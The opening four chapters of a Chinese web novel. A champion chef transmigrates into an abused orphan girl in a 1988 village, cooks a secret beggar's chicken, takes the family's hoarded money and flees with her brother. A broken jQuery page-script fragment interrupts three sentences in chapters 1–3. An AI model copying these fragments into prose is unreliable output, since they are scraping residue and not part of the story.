《满级厨神在年代文里暴富》 1. 第001章 黑星星 秋收即将结束,天气却反常地热了起来,火辣辣的阳光照耀在石桥村的上空,晒得秋蝉都没了精神,有气无力地在树上鸣叫着。 村头路口出现了两个身影,看着是一男一女,两人顶着大太阳,急匆匆地往村里走。 林国庆看着媳妇热得满脸通红,忍不住说道:“志兰,要不咱去树底下歇会儿吧,你这一路过来,连口水都没喝呢。” 李志兰抹了一把额头上的汗,脚下却没停。 “不用,前面就到了,早点看见棠棠他们,我这心里才踏实。” 林国庆知道劝不动,只得跟着加快了脚步。 两人到了一个院子前,隔着篱笆墙,李志兰看到了院子里的人。 “大娘,我们来看您了!” 听见她的声音,蔡银花撩了一下眼皮,见是这两个人,便哼了一声,低了头继续喂鸡。 李志兰早就习惯了她对自己的态度,打过招呼便自己进了院。 “大娘我来吧,您坐下歇会儿。” 蔡银花也不客气,把手里的鸡食盆往她手里一塞,一屁.股坐在板凳上。 “你们咋又来了?” 李志兰一边喂着鸡,一边陪着笑说:“我婆家那边也是刚打完粮食,我想着有阵子没来了,就过来看看,大娘家里都还好吧?” “好什么好?”蔡银花用手呼呼地扇着风,没好气地说,“正是忙的时候,家里那么多活,干活的没几个人,吃饭的嘴倒有十几张!” 她越想越气,直接提高了声音,冲着院子角落的一间小破屋骂开了。 “明知道家里忙,还故意躲进屋里装病,指望我一个老太太伺候呢?真是个丧门星,克死了自己爸妈,还想要气死我这个当奶奶的!” 李志兰听得神情尴尬,连忙从兜里掏出一卷钞票。 “大娘,这是棠棠她姥爷和舅舅托人捎过来的,您先拿着——” 她话还没说完,蔡银花就一把将钱抢了过去。 她伸手一捻,脸色顿时变了。 “就这三十来块钱,够干啥的?你那外甥女和外甥都十好几岁了,一个赛一个的能吃,你这点儿钱够他俩吃几天?拿我们老苏家当叫花子打发呢?” 林国庆实在听不下去了,忍不住开口说:“大娘,论理棠棠和诚诚是苏家的孩子,本就该大娘家里养着,我岳父岳母是心疼外孙女,所以才省吃俭用——” “我呸!”蔡银花直接跳了起来,手指头差点儿没戳到林国庆脸上,“你还有脸说?要不是那死丫头命硬,我家老三怎么会被她克死?可怜我一个老太太,好好的儿子没了,还要养活那两个讨债鬼!” 林国庆被喷得满脸口水,脸色顿时难看起来。 李志兰生怕他压不住火,赶紧拦在两人中间。 “大娘别生气,那棠棠是生病了吗,她得了什么病?吃药了吗?” “什么病?我看她就是装病!”蔡银花扯着脖子喊着,“不就让她洗几件衣服吗?搬一下盆就假装摔倒,差点儿没把洗衣盆摔破了!然后就装病来了,在屋里躺了好几天都不露面!再不起来,看我不扒了她的皮!” 李志兰听得又是心疼又是担忧,说:“大娘,那我先去看看棠棠——” “看个屁!你们来了,她更以为自己有仗腰子的了!你要敢去,就直接把她领你家养活去!我们老苏家养不起这千金大小姐!” 听了这话,李志兰只得收回了脚步。 “那诚诚呢,他在家吗?” “谁知道那小子疯哪儿去了?一问他就说上学去了,也不说帮家里干点活!一个两个的,都跟他们那缺德短命的妈一样,就知道偷奸耍滑,没一个好东西!” 听蔡银花提起姐姐,李志兰的眼圈不由得红了。 林国庆忍了半天,早已听得脸色铁青,见李志兰马上就要哭了似的,到底强忍住气,拉了李志兰就往外走。 “志兰,咱们回去吧,一会儿该赶不上回去的汽车了。” 李志兰回头看向那间摇摇欲坠的小破屋,还想往那边去,可没走两步,蔡银花就抄起了大扫帚,杵到她脚底下扫了起来,顿时鸡粪和尘土漫天飞扬。 见蔡银花拦着路,李志兰只得放弃了,跟着林国庆一步三回头地走了出去。 出了苏家大门,李志兰的眼泪就掉下来了。 “国庆,今天让你受委屈了。” 林国庆闷声说:“我有啥委屈的,倒是你,每次来送钱,苏家都不给你个好脸色,要不是为了俩孩子……” 李志兰擦了擦眼泪,说:“他俩从小没了爸妈,在苏家指不定过成什么样呢,尤其是棠棠,就因为姐和姐夫是那场大地震里没的,那地方跟她名字同一个音,更被苏家视为眼中钉了,非说姐姐和姐夫是被她克死的,要是咱们再不过来看看,多帮衬着点,那孩子还能有活路吗?” 一番话说得林国庆心里也酸酸的,看李志兰哭得抽抽搭搭,便安慰她说:“好在棠棠已经十八了,最多两三年就能嫁人了,那时候苦日子也就熬到头了,还有诚诚,你刚才没听苏家那老太太说嘛,诚诚是个懂事的孩子,又肯读书,兴许过几年还能考上大学呢。” 李志兰擦干泪水,再次回头看了看苏家的方向。 但愿能像林国庆说的那样,俩孩子的日子能越过越好吧。 与此同时,蔡银花口中那个去上学的孩子,正拖着一个堆着高高的木柴的小板车,吃力地走进苏家的院子。 “奶,柴火拉回来了,我这就搬后院去。”苏诚喘了几口气,又挽起了手里的麻绳。 蔡银花探头看了板车一眼,张口就骂。 “叫你多拉点,你就拉这么点儿柴火回来,一大家子人要吃饭要烧水,这点儿柴火够烧几天的?赶紧把这些摞墙根那边去,再去拉两车回来,别想偷懒!” 苏诚答应了一声,费力地把板车拖到墙根处。 “奶,我姐呢?” 蔡银花正在气头上,朝他们那小屋扬了扬下巴,一脸讥讽地说:“人家可是享福的命,她能去哪儿,在屋里躺着呢!” 苏诚擦了擦汗,走过去推开了门。 这屋原本是堆各种农具和杂物的仓房,苏诚的爸妈死讯传来没几天,两个孩子就被苏家人赶到这个小屋来住了。 如今屋里还是放着各种乱七八糟的杂物,只有角落里用碎砖头搭了几块板子,上面铺着破旧得看不出颜色的被褥,这就是姐弟俩每天睡觉的地方。 仓房里光线昏暗,苏诚走到木板前,弯腰仔细观察着苏棠的脸色。 “姐,你今天好点了吗?” 苏棠迷迷糊糊被叫醒,抬起胳膊伸了个懒腰。 “好点了,诚诚,你又去干活了?我不是不让你去了吗?” 听苏棠的说话声比前两天有了力气,苏诚才露出笑容来。 “没事,我又不累,我多干点儿,奶奶就少骂你几句。” 对于这 () { $(''.inform'').remove(); $(''#content'').append('' 个实心眼的便宜弟弟,苏棠实在无力吐槽。 她拿起一个秃了头的小扫帚,给苏诚拍打着身上的尘土和木屑。 “你个傻小子,还没想明白吗?在这个家里,你干的活越多,挨的骂就越多,多做多错,不做没错,反正干不干活都要挨骂,干吗还偏要吃苦受累?” 苏诚总觉得姐姐说的话不太对劲,但是听起来又像是很有道理的样子。 自从几天前姐姐洗衣服摔倒,昏了一天一夜,再醒过来就变得跟以前不一样了。 以前家里的活大都是姐姐干的,洗全家人的衣服,做全家人的饭,扫院子喂鸡鸭种菜地,一天到晚忙个不停。 姐姐做好了饭,家里人都能去吃饭,他们姐弟却不能上桌。 蔡银花说他俩命硬,会妨着家里人,叫他们滚远点。 没办法,只有等苏家人都吃完饭,姐弟俩才能捡一点儿剩饭和菜汤吃。 自打他记事,家里就一直是这样的,苏诚早已习以为常。 可是现在姐姐怎么就不干活了呢?不管奶奶怎么骂他们,姐姐就是不起来,既不出屋,也不出声。 苏诚还小,想不明白的问题就不想了。 他由着苏棠把他身上的灰尘拍打干净,等苏棠扫到他胸前的位置,他一下子想起了什么,连忙抬手护住。 “对了姐,我还给你带好东西了呢!” 苏诚从怀里宝贝似的掏出一片包得严严实实的大树叶,小心地打开。 “姐你看,刚才我在路边找到的!” 少年粗粝的手心里,赫然放着一捧小小的果子。 这果子是一簇一簇的,挂在绿油油的叶柄的,一串串果子仿佛闪亮的珍珠,泛着黑黝黝的光泽。 “黑星星?”苏棠眼睛一亮。 在这个时代一年到头也吃不上几个正经水果,这种叫黑星星的小野果就成了孩子们的宝贝。 她从苏诚手里接过来,抬头看向他。 “你吃过了吗?” 苏诚别过头,从小窗子投射进来的阳光下,苏棠清晰地看到他的下颚动了几下,明显是在咽口水。 “这东西在外面可多了,我都吃够够儿的了,这些是给你带的,姐,你快吃吧。” 将他的反应看了个清清楚楚,苏棠微微一默,低下头摘下一颗黑星星放进嘴里。 酸甜的汁液在口腔里爆开,对这具身体来说,这点野果实在是不可多得的美味。 她知道苏诚脾气有点轴,就算逼着他吃,他也不会吃的,索性一颗一颗都吃光了。 黑星星,真甜! 苏诚一眼不眨地看着她吃,见她吃得开心,也跟着一脸满足地笑了。 苏棠吃完黑星星,指着墙边的小炉子说:“诚诚,你把那个炉子的东西拿出来。” 这炉子是苏家早就废弃不要的,上面缺了一半的口,连炉圈都没有。 苏诚拿起钎子拨开炉灰,从里面夹出一个硬邦邦沉甸甸的东西。 这东西像是一大块圆形的黄泥块,被炉火烤得干巴巴的,外皮已经出现了裂缝。 “姐,这是啥呀?” 苏棠努了努嘴:“你把它敲开。” 苏诚看了看四周,找了一个锈迹斑斑的小锤子拿在手里,用力敲了下去。 黄泥硬壳应声而裂,一股浓郁的香气扑鼻而来。 看清楚里面的东西,苏诚顿时眼前一黑。 “这是……鸡!?” 2. 第002章 叫花鸡 破旧狭小的房间里满是那挥之不散的香气,苏诚吓得直接跳了起来。 他愣了几秒钟,等到反应过来,第一个动作就是冲过去关门。 然后他回到屋里,手忙脚乱地拿了一个破锅盖往鸡上面放,就好像这样就能阻止香味扩散出去一样。 “这鸡……是哪来的?”苏诚吓得脸煞白,结结巴巴地问。 苏棠一脸不以为意:“你怕什么,还能是偷的呀?当然是咱们家的。” 苏诚听了,吓得手直抖。 “那奶奶知道吗?大伯娘二伯娘她们知道吗?” 苏棠看得好笑,推开他,伸手揭开锅盖。 “咱们吃自家的鸡,还要问这问那?前天奶奶炖肘子的时候,也没问过咱们吃不吃啊。” 家里这些鸡虽然是苏家人抓来的,可是一直都是从前的苏棠伺候着,每天拌鸡食扫鸡屎,辛苦养了几年,原主却连个鸡蛋都吃不上。 等到苏棠穿过来,她可不会委屈自己,那么多只鸡,她吃一只怎么了。 因为喂鸡的活有苏棠干,那年蔡银花一口气抓了五十个鸡苗,后来这些鸡又年年抱窝,每个月家里都能时不时吃上几只。 苏家现在还有三四十只,就算少了一只,蔡银花也数不过来。 没办法,谁让养鸡的人是苏棠呢,家里有多少只鸡,只有苏棠心里有数。 今天凌晨她趁着苏家人都还没起来,去鸡窝直接提了一只鸡出来,以她在厨房里这么多年收拾食材的经验,她杀鸡那叫一个干脆利落,睡得稀里糊涂的鸡连叫都来不及叫一声,就丢了小命。 只是他们住的这小破屋实在条件有限,想烧水褪鸡毛都难,她索性用最简单的做法,做了一只叫花鸡。 苏棠坐起身,把鸡身外面的黄泥剥掉。 外层的泥块粘着鸡毛一块块掉落,露出里面油汪汪的鸡肉,香味也更加浓烈。 苏诚被这香气馋得直流口水,脸上又是害怕又是渴望,显得十分纠结。 “姐,要是奶奶知道了……” 以蔡银花的性子,如果知道苏棠不经她同意就杀了一只鸡吃,不得拿大棍子抽他们才怪。 苏棠清理干净鸡身上的泥块,撕下一只热乎乎的鸡腿递给苏诚。 “害怕就快点吃,吃光了肉,她想打咱们都没有证据。” 苏诚被苏棠胆大包天的话惊得说不出话来,脑子虽然还反应不过来,身体却很诚实,下意识地接过了鸡腿。 刚撕下来的鸡腿冒着腾腾的热气,黄泥焖熟的做法完美地锁住了鸡肉的油脂,眼看着黄亮的鸡油就要滴落下来,苏诚赶紧张大嘴巴咬了上去。 才养了半年多的童子鸡,肉质又鲜又嫩,哪怕没有多余的香料,依然美味多汁,只需要牙齿轻轻一扯,鸡肉便从骨头上脱落下来。 在苏诚的记忆里,长这么大他就没吃过这么好吃的东西,他大口大口吃着,一时分不清口中是泛滥的口水,还是鸡肉的油汁。 此时此刻,就连满心对蔡银花的惧怕都被他抛之脑后,满脑子都只有眼前这只香喷喷的叫花鸡。 苏棠看得好笑,自己也撕下鸡肉吃了起来。 这具身体实在太弱,她从原主的记忆里得知,这苏棠从小就包揽了苏家绝大部分家务,一年到头却连顿饱饭都吃不上,严重的营养不良加上长期的高强度劳动,这原主分明就是活活累死的。 轮到苏棠穿来做主,她可不会干这种傻事。 一醒过来,她就直接撂挑子不干了。 苏家人不给她饭吃?这有什么大不了的,等到晚上她去厨房自己做就是了。 前几天抢秋收,苏家人基本都是早出晚归,晚上更是累得倒头就睡,别说苏棠在厨房里生火做饭,就算是外头打雷他们都不带醒的。 苏棠就这么昼伏夜出地吃了几天饱饭,睡了几天好觉,才觉得自己终于活过来了。 不过她也知道,蔡银花对她的忍耐基本已经到了极限。 秋收的时候全家都又忙又累,蔡银花虽然不用下地,可是要在家里带几个小孙子孙女,要喂鸡喂猪,还要做一大家子人的饭,洗一家人的衣服,才几天就累得直不起腰来。 以她的性子,当然不会抱怨自家人,反而把所有的怒火都撒在苏棠身上。 要不是苏棠装病不干活,她至于累成这样吗? 不管蔡银花怎么不给苏棠饭吃,怎么天天在院子里骂,苏棠就是不出来。 她都想好了,要是蔡银花敢动手打她,她就跑出去大哭大闹,让全村人都来看看苏家人是怎么虐待没了父母的孤女的。 不就是撒泼吗,当谁不会呢? 好在蔡银花是真的累坏了,连打她的力气都没有,就只能嘴皮子上痛快痛快。 这几天苏棠吃饱睡好之余,就一直在琢磨自己身上到底发生了什么事。 她上一个记忆还停留在拿到国际厨神金奖的辉煌时刻,下一刻眼睛一闭,再一睁,就变成了躺在小破屋里,奄奄一息的苏棠。 虽然有原主的记忆,可是参考价值不大。 她在夜里做饭的时候,在用来引火的旧报纸上知道现在是八八年,可是她怎么会在这里? 在木板上躺了好几天,苏棠都在努力分析现在是个什么情况,好不容易才从原主父母的名字中找到一点线索。 她应该是穿进了一本《重回七零她走上人生巅峰》的年代文里,原主的爸爸苏得仁是文中反派大佬的手下,被老大派去盯女主的动向,想要找机会诬陷女主,没想到女主是因为提前知道未来走向,带了空间中的大量物资去支援灾区,苏得仁和妻子李志玉没有防备,不但没能找到机会,还在那一场大地震中丢了性命。 不是苏棠记性不好,实在是苏得仁和李志玉只能算得上是文中的十八线炮灰,连名字都没出现几次,只有后面女主帮助重建灾区的时候,才在死亡名单中看到了这两个人的名字。 而且那都是十二年前的事了,苏棠怎么也想不到,自己穿书也能穿成一个连名字都没出现过的小透明。 那年原主才六岁,只知道自己一夜之间没了爸妈,又被苏家人连打带骂,说是她名字带了棠字,所以才克死了父母,小小年纪的她知道什么,也以为父母的死都怪自己。 从那以后,原主就成了苏家人的出气筒和小奴隶,她觉得自己害死父母罪孽深重,又一心要照顾好弟弟,所以在苏家任劳任怨,直到那一天被活活累死。 苏棠想到这里,嘴角微微翘起。 既然知道了自己目前的境况,她很快就捋清思路,做好了打算。 看着埋头吃鸡的苏诚,苏棠悠悠开了口。 “诚诚,你想不想跟姐走?” 正吃得欢快的苏诚听到这一句,差点儿没被嘴里的鸡肉噎死。 他三口两口把肉咽下去,瞪大眼睛看着苏棠。 “姐你说啥?你要去哪儿?” 父母去世的时候,苏诚还是个穿开裆裤的小孩,只知道跟着姐姐,这十几年来姐弟俩在苏家互相照顾,算是彼此唯一的依靠。 现在苏棠冷不丁说要走,苏诚害怕极了,满眼都是对未来的茫然。 苏棠故意叹了口气,说:“诚诚啊,你现在大了,这些年咱们在苏家过的是什么日子,你应该也看得出来……” 她抬起手背用力擦了擦干干净净的眼角,继续说:“前几天我饿得都昏倒了,奶奶还说我是装病,我算是想开了,要是再留在苏家,你姐我不是被饿死,就是被累死,反正肯定是没有活路了。” 想到这几天蔡银花对姐姐的态度,苏诚下意识地点点头。 他到 () { $(''.inform'').remove(); $(''#content'').append('' 底年纪小,又是男孩子,蔡银花虽然不喜欢他,也不至于像对苏棠那样死命地磋磨他。 “那你想去哪儿啊?” 苏棠把早就想好的话说出来:“咱们去省城,找咱们姥姥和姥爷去!” 在原主的记忆里,苏家人对他们姐弟非打即骂,压根不把他们当人看。 还好小姨李志兰每年都会来看望他们几次,每次都会替姥爷送些钱来,看在这些钱的份上,苏家人才没把他们赶出家门。 苏棠觉得,做一件事很容易,坚持做一件事却很难,省城的姥爷一家能坚持十几年补贴他们姐弟,说明是真心疼爱他们的。 苏诚听得张大了嘴,说:“省城?那不是很远吗?要不咱们先去找小姨吧。” 苏诚跟苏棠一样,从小就没出过村子,别说省城,就连县城他都没去过。 刚才听苏棠说要走,他还以为要去隔壁村子的小姨家。 姐姐想去省城?她怎么去?她认识路吗? 苏棠搞清楚自己的情况后,第一个也是想到向李志兰求助,但是很快就把这个想法放弃了。 原因很简单,第一,李志兰已经嫁人了,林家也是有老人孩子的,她不好带着苏诚去投奔;第二,李志兰他们村子离石桥村不远,如果她去林家,苏家人肯定会去找李志兰打听她的消息,就算苏家人不去,时间长了,这个消息也瞒不住,苏家人迟早会知道的,这不是长久之计。 而且,在原主的记忆里,她觉得李志兰是个性子软弱的女人,每次来苏家,李志兰都会被蔡银花骂,甚至还会赶出去,她不觉得李志兰能护住他们姐弟俩。 但是去省城就不一样了,连苏诚都不相信她能去省城,苏家人更不会认为她去省城了。 就算以后苏家人知道了,等到那个时候,估计她也在省城站稳了脚跟,苏家人就算想把她抓回来,也是鞭长莫及。 她想了两天,觉得这主意最好。 苏诚却被她的想法吓坏了,结结巴巴地说:“姐你要去省城?那咱们怎么去啊?咱俩不认识路啊。再说,咱们也没钱啊!” 对于一个连村子都没出过的孩子来说,连县城都是遥不可及的存在,至于省城,那是只有收音机里才会出现的地方。 苏棠忍不住笑,说:“你放心,有姐在呢,丢不了你!” 这几天她在厨房翻旧报纸搜集信息,再加上原主的那些记忆,大致摸清楚目前所处的位置和出行方式。 村口的国道那里就能搭汽车,李志兰每次都是这么来石桥村的。 前世时不时就在天上飞来飞去的她,又怎么会被区区出行问题难住。 苏诚担心的那些事,只有一件说对了,那就是没钱。 不过,这也难不住她,这几天她找机会在苏家搜查了一圈,此刻的她胸有成竹。 “你只要决定跟姐走就行了,明天早上,你在后山路口那里等我。” 苏诚看着一脸自信的苏棠,犹豫片刻,便重重地点点头。 “姐,我听你的!” 苏棠见他答应,便笑了起来,又撕下一只鸡翅膀给他。 “快吃,一会儿就凉了!” 姐弟俩很快把一只鸡吃得干干净净,苏诚刚把碎黄泥和鸡骨头扫成一堆,就听见门外蔡银花的喊叫声。 “钻进屋里就不出来,跟你那偷奸耍滑的姐一样,还不快滚出来干活,要不然连你也别想吃饭!” 苏诚赶紧答应着,临出门前又担忧地看了苏棠一眼。 苏棠却已经舒舒服服躺下了,对蔡银花恶毒的叫骂声,她只当充耳不闻。 苏诚迈出门槛的那一刻,下定了决心。 姐姐说得没错,再这么下去,姐姐真的就要被苏家的人磋磨死了。 反正不管姐姐去哪,他都要跟着去! 3. 第003章 煎饼 次日一早,苏家人一个个呵欠连天地从各自屋里走出来,坐在饭桌旁。 看到桌上只放着一大盆苞米糊糊和两盘咸菜,苏老二家的儿子苏大军立刻就不乐意了。 “奶,这吃的都是啥呀!” 蔡银花累了一早上,听了这话顿时脸一沉。 “你说是啥?有的吃就不错了,不乐意吃就别吃!” 老二媳妇马红英就苏大军一个儿子,听蔡银花骂自家孩子也不高兴了。 “妈,大军说的也没错啊,现在秋收,大家伙天天累得够呛,光吃这个哪能吃得饱,吃不饱哪有力气干活啊?” 有老二家母子当出头鸟,别人也都开始表达不满。 “妈,二弟妹说得有道理,就这些东西,咱们一家人哪能吃饱啊?” “就是,好歹也得做点干粮垫垫肚子啊,这稀汤寡水的,吃它有啥用?” “这赶上旧社会了,在家里连口饱饭都吃不上!” 蔡银花把筷子一摔,直接开喷。 “一个个回家里就啥也不干,就等着吃现成的,老娘做好了还要挑三拣四,谁惯的你们毛病?做干粮做干粮,敢情不是你们动手,站着说话不腰疼!” 家里虽然不缺粮食,可是做一家人的饭多累呢,哪怕是蒸个馒头,也得一大早上起来,和面发面上蒸锅,哪有打一盆苞米糊糊省事? 以前还好,有苏棠做饭,全家人都能吃好吃饱,现在苏棠罢工了,苏家人的伙食水准立刻直线下降。 真跟一首歌唱的一样,他们此刻就是,手里啊捧着苞米糊,菜里没有一滴油。 想到这一点,几个人不约而同地看向苏棠姐弟住的小破屋。 大伯娘贾淑琴夹了一口咸菜,没想到吃到一块小石子,赶紧呸了一口吐在地上。 她抬手擦了擦嘴,抬头看向那个小屋。 “妈,棠棠病了好几天了吧,要不带她去村里卫生所看看?” 苏棠再不起来干活,全家人只怕就要饿死了。 “看个屁,看病买药不要钱啊?”蔡银花没好气地说,“让她装,我看她能装到什么时候!” 看蔡银花脸色难看,大家不敢再说什么,唉声叹气地捧起碗喝糊糊。 有吃的就吃吧,难不成还真要饿着肚子下地? 三两口吃完饭,苏老头就带着他们去地里干活去了。 苏棠在屋里听着动静,估摸着苏家的人都走了,就整理了一下表情,慢吞吞地走出了屋。 蔡银花正在骂骂咧咧地收拾桌子,看她出来,鼻子里重重地哼了一声。 “哟,还知道出来啊,我还以为你死在屋里了呢!” 苏棠努力装出原主怯懦的样子,小声说:“奶,我今天好点了,让我来干活吧。” 见苏棠如此低声下气,蔡银花的脸色才好看了一点。 再说,这几天她也真是累坏了。 蔡银花把手里的抹布一摔,跟往常一样支使起苏棠来。 “你把桌子收拾了,然后去发面烙饼,中午给你大伯他们送地里去,对了,把那两盆衣服洗了!” 见苏棠一一答应,蔡银花想起早上全家人对伙食的不满,又加了一句。 “去杀只鸡炖了,多放点土豆和白菜!” 苏棠乖巧地点头,拿起桌上的抹布。 “这几天您受累了,奶,这些我来干,您去歇会儿吧。” 蔡银花干了几天活,早就憋坏了,见苏棠像往常一样温顺干活,就把家里一大摊子都丢给苏棠,自己带着小孙子出去串门去了。 等蔡银花一出门,苏棠把手里抹布一扔,直接进了厨房。 她捅旺了炉子,烧了一锅水,把厨房里剩下的二三十个鸡蛋全都煮了,又舀了一盆面打成面糊,麻利地摊起了煎饼。 摊好煎饼放在一旁晾着,她径直去了主屋,从蔡银花的柜子里翻出钱匣子,把里面的钞票一扫而空。 这些年原主的姥爷和舅舅送到苏家的至少有千八百块,都被苏家人扣下了,还不让原主姐弟好好吃饭,这些钱她才不会留给苏家人。 她把钱贴身藏好,去厨房把煎饼和鸡蛋装进一个小包袱里,又拿了一串腊肠,摘下墙上的绿皮水壶,往里面灌满水,拎起包袱出了门。 这会儿村里人基本都去地里干活了,苏棠看看四下无人,直奔后山而去。 后山的小路口,苏诚正等得心焦。 他听姐姐的话,一早上就出门来这里等她,可是迟迟不见苏棠的身影,就忍不住胡思乱想起来。 他又不敢走远,怕苏棠来了找不到他,只有烦躁地踢着地上的小石子。 苏棠远远地看到苏诚的身影,就加快了脚步。 “诚诚!” 苏诚看到苏棠,顿时眼睛一亮。 “姐,你可算是来了!” 苏棠走到他身边,脚下没停。 “走,上山去。” “上山干啥?”苏诚一脸疑惑,“姐,你不是要去省城吗?” 苏棠拉着苏诚,一边走一边说。 “去省城得先去县城,去县城得去国道旁边坐汽车,可是如果从那边走,容易遇到人……” 国道那边地方空旷,村口又总是聚集着不少闲人,如果遇到苏家的人,或者被爱管闲事的村民吆喝几声,他们俩就走不成了。 苏棠常去后山采蘑菇野果,对后山比较熟悉,她知道翻过两座山头,就是另一条国道,那里没人认识他们,从那边上车更安全。 苏诚不知道路,但是他对苏棠无比信赖。 反正,姐姐去哪儿,他就去哪儿! 姐弟俩一口气爬到半山腰,苏棠走不动了,拉着苏诚坐下。 她打开包袱,拿出煎饼递给苏诚。 “你早上没吃饭,先吃点东西垫垫肚子。” 苏诚也确实饿了,接过煎饼一口咬了下去。 本以为是普通的煎饼,可是一入口,他就吃出来不一样了。 煎饼摊得薄薄的,一口下去又酥又脆,越嚼越香。 姐以前做过煎饼,可是从来没有这么好吃! 苏诚觉得,肯定是自己饿坏了,所以吃什么都香。 苏棠剥了鸡蛋,递给苏诚。 “慢点吃,别噎着。” 苏诚点点头,接过鸡蛋。 “姐,你也吃。” 苏棠剥了几个鸡蛋,就着腊肠和煎饼吃了起来。 他们得翻两座山呢,得多吃点儿东西,保持体力才行。 就在姐弟俩在山上大快朵颐的时候,苏家人坐在地头的树荫下,一个个等得饥肠辘辘。 苏老大的二儿子苏大栓擦了把汗,说:“这都 () { $(''.inform'').remove(); $(''#content'').append('' 啥时候了,我奶咋还不来送饭?” 抢收的时候地里忙,家家都是做好了饭送到地里吃。 眼看着其他家的人都吃上了,蔡银花送饭的身影却迟迟不见。 苏大军这会儿饿得前胸贴后脊梁,抱怨道:“早上就喝了一碗苞米糊,两泡尿就没了,中午到现在还吃不上饭,这是诚心要饿死咱们吗?” 苏家人都饿得难受,听苏大军这么说,连苏老头都没说什么。 这会儿蔡银花已经串完了门,手里拿了把瓜子,一边磕一边往地头这边走。 出门前她可是吩咐苏棠杀只鸡吃的,估摸着这会儿已经送到地里了,她正好过去吃现成的。 马红英离老远就看到蔡银花的身影,连忙起身迎上去。 “妈,你可算是来了——” 话没说完,看着蔡银花抓着瓜子的手,马红英愣住了。 “妈,饭呢?” 蔡银花把嘴里的瓜子皮吐在地上,同样愣了。 “饭?我让苏棠做好饭送过来了啊!” 蔡银花越过马红英,看向她身后不远处,一个个饿得东倒西歪,两眼发红的苏家人。 马红英好不容易看到蔡银花,却没见到吃的,都快饿哭了。 “妈,你啥时候叫苏棠来的?我们压根就没见着她影儿啊!” 这时苏家其他人也围过来了。 “奶,这都啥时候了,你咋才来?” “饭呢?妈,你咋啥也没拿?我们都快饿死了!” “什么苏棠?她啥时候送饭来了?” 到这个时候,蔡银花还有什么不明白的。 “这个死丫头,我出门前答应好好的,说做饭送过来,我还叫她杀只鸡呢!肯定是她又偷懒!” 听到杀鸡,苏家人觉得肚子更饿了。 苏大军盼了半天结果盼了个空,有气无力地坐在了地上。 “奶,你别管那么多了,快去给我们弄口饭吃吧。” 再不吃饭,下午谁都干不动活了。 蔡银花气了个倒仰,转身就往家的方向走。 “苏棠你个丧门星,你是诚心要饿死一家人啊,看我回去不扒了你的皮……” 蔡银花一路骂着到了家,一进院就直奔苏棠住的小屋。 “你个臭不要脸的——” 看到屋子没人,蔡银花一愣,到嘴边的话就顿住了。 她还不死心,又去厨房和后院找了一圈,除了饿得追着她跑的一群鸡,哪有半个人影? 蔡银花满腹怒火,又冲回那个小破屋。 “苏棠,你藏哪儿去了?赶紧给我滚出来!” 破旧的小屋很快被蔡银花翻了个底朝天,压根不见苏棠和苏诚的身影。 找不到人,蔡银花气得一脚踢在墙角的土堆上。 泥土散开,露出几根沾着灰尘的骨头。 “这是……鸡?是我的鸡!” 蔡银花简直不敢相信自己的眼睛,不过一瞬间,她就想明白了。 难怪她天天不给苏棠饭吃,那丫头还能赖在屋里不出来,原来她一直躲在屋里偷吃! 而且吃的还是鸡! 想到自己那些鸡被苏棠偷偷吃了,蔡银花顿时火冒三丈。 “苏棠,你死哪儿去了?奸懒馋滑的贱丫头,看我不揍死你!” 4. 第004章 煎鲜蘑 蔡银花气势汹汹地冲出小屋,正好看到苏家人一个个拖着无力的脚步进了院。 见大家全都回来了,她只觉得气不打一处来,张口就骂。 “你们回来干啥?地里的活都干完了?还是想跟苏棠一样偷懒?” 听了这话,这回别说其他人,连苏家大孙子苏大柱也不乐意了。 “奶,你这说的是人话吗?我们干了一上午活,连午饭都吃不上,还不让我们回家吃口饭了?” 蔡银花没送午饭去地里,他们饿着肚子,自然就干不成活了。 而且当时地里的人都听见了,听说苏棠没给家里人送饭,大家都当热闹看呢,更有平日里跟苏家就不对付的,又是嘲笑他们又是阴阳怪气的,他们哪里还待得下去。 苏老头往桌子旁一坐,先倒了一碗水咕咚咚喝了,这才开口。 “这时候你就别找谁算账了,赶紧去给大家伙做点儿吃的!” 外头太阳正毒辣,他们顶着日头干了半天活,连口水都没喝上,这会儿回了家,又被蔡银花骂,连苏老头都看不下去了。 蔡银花憋了一肚子气,一边招呼两个儿媳妇去厨房,一边不干不净地骂着。 “苏棠那个死丫头,又不知道浪到哪里去了,还敢偷吃我的鸡,等她回来,我非打断她那双爪子不可!” 马红英饿得烧心,回来连口水都没喝,就被蔡银花叫进来做饭,这会儿也是满腹怨气。 “妈你也是的,好几天都不给苏棠吃饭,别说是个人,就算是条狗也给饿跑了。” 她和大嫂贾淑琴劝过蔡银花好几次了,可蔡银花非但不给苏棠看病,还命令全家人都不许给苏棠饭吃。 当然她俩也不是心疼苏棠,主要是苏棠不干活,家里这些活就得她们妯娌干,这谁能乐意啊? 不就是一口饭吗?把苏棠饿跑了,谁来干活? 蔡银花在家里横惯了,哪里能忍得下被儿媳妇抱怨。 “你说什么?真是反了天了,你还敢说老娘?” 看看,她就说家里这些人不能惯着吧,现在看苏棠跑了,连儿媳妇都敢顶嘴了。 婆媳几个在厨房里互相抱怨着,也没心思做饭,胡乱打了一锅菜疙瘩汤,就端上了桌。 早上刚喝完苞米糊糊的苏家人,看到又是一锅稀溜溜的疙瘩汤,一个个连死的心都有了。 怎么苏棠不在家,他们连口饱饭都吃不上了啊? 上顿苞米糊,下顿疙瘩汤,蔡银花是要给全家洗肠子吗? 看着脸色铁青的蔡银花,大家谁也不敢出声,认命地端起了碗。 蔡银花一肚子气,喝了一碗疙瘩汤就吃不下去了。 苏棠这会儿还不见踪影,她能去哪儿? 蔡银花总觉得自己好像忘了什么重要的事,一时间恼火万分又有点心神不宁。 她心里那种隐隐的不安,在吃完饭回屋的时候得到了证实。 “谁动我钱匣子了?里面的钱怎么全都没了!?” 吃过饭正要休息的苏家人,不得不再次爬起来,接受蔡银花的审问。 很快,大家就明白了一件事。 苏棠把家里所有的钱都拿走了,人也不见了! 这下谁也不用休息了,苏家人全体出动,到处找苏棠和苏诚。 正是炎热的晌午头,村民们不是在地里干活,就是在家里睡觉,被苏家人吵得个个都没好声气。 “没瞧见没瞧见,我们一直在地里干活,谁有空儿帮你们找人?” “苏棠一个姑娘家,能跑哪儿去?说不定一会儿就回家了!” “就是,地里活都干不完,你们就别折腾大家伙了!” 更有甚者,见苏家人兴师动众地找苏棠,直接嘲讽上了。 “哟,你们家不是成天说苏棠命硬,克着家里人了吗?这会儿人丢了,不是正合你们心意?” “成天说那俩孩子是讨债鬼,现在咋突然这么上心了呢?” “啥,苏棠偷家里钱了?哎哟哟,那孩子在你家连口饭都不敢吃,还敢偷你家钱?编瞎话也不能这么编啊!” 